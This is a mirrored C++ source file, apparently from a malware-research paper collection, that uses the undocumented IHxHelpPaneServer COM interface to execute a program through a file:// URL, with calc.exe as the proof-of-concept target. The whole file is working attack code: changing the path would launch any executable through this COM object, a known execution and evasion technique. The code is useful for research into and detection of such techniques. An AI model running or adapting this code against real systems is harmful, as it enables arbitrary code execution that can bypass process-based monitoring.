mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2024-06-16 11:58:10 +00:00
63 lines
1.8 KiB
C++
63 lines
1.8 KiB
C++
#include <Windows.h>
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#include <Objbase.h>
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struct __declspec(uuid("{8cec592c-07a1-11d9-b15e-000d56bfe6ee}"))
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IHxHelpPaneServer : public IUnknown {
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virtual HRESULT __stdcall DisplayTask(PWCHAR) = 0;
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virtual HRESULT __stdcall DisplayContents(PWCHAR) = 0;
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virtual HRESULT __stdcall DisplaySearchResults(PWCHAR) = 0;
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virtual HRESULT __stdcall Execute(const PWCHAR) = 0;
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};
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DWORD Win32FromHResult(HRESULT Result)
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{
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if ((Result & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0))
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return HRESULT_CODE(Result);
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if (Result == S_OK)
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return ERROR_SUCCESS;
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return ERROR_CAN_NOT_COMPLETE;
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}
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HRESULT CoInitializeIHxHelpIds(LPGUID Clsid, LPGUID Iid)
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{
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HRESULT Result = S_OK;
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if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec58ae-07a1-11d9-b15e-000d56bfe6ee}", Clsid)))
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return Result;
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if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec592c-07a1-11d9-b15e-000d56bfe6ee}", Iid)))
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return Result;
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return Result;
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}
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INT main(VOID)
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{
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HRESULT Result = S_OK;
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GUID CLSID_IHxHelpPaneServer;
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GUID IID_IHxHelpPaneServer;
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WCHAR pcUrl[256] = L"file:///C:/WINDOWS/SYSTEM32/CALC.EXE";
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IHxHelpPaneServer* Help = NULL;
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if (!SUCCEEDED(Result = CoInitializeIHxHelpIds(&CLSID_IHxHelpPaneServer, &IID_IHxHelpPaneServer)))
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return Win32FromHResult(Result);
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if (!SUCCEEDED(Result = CoInitializeEx(NULL, COINIT_MULTITHREADED)))
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return Win32FromHResult(Result);
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if (!SUCCEEDED(CoCreateInstance(CLSID_IHxHelpPaneServer, NULL, CLSCTX_ALL, IID_IHxHelpPaneServer, (PVOID*)&Help)))
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return Win32FromHResult(Result);
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Result = Help->Execute(pcUrl);
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if (Help)
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Help->Release();
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CoUninitialize();
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return Win32FromHResult(Result);
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}
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} |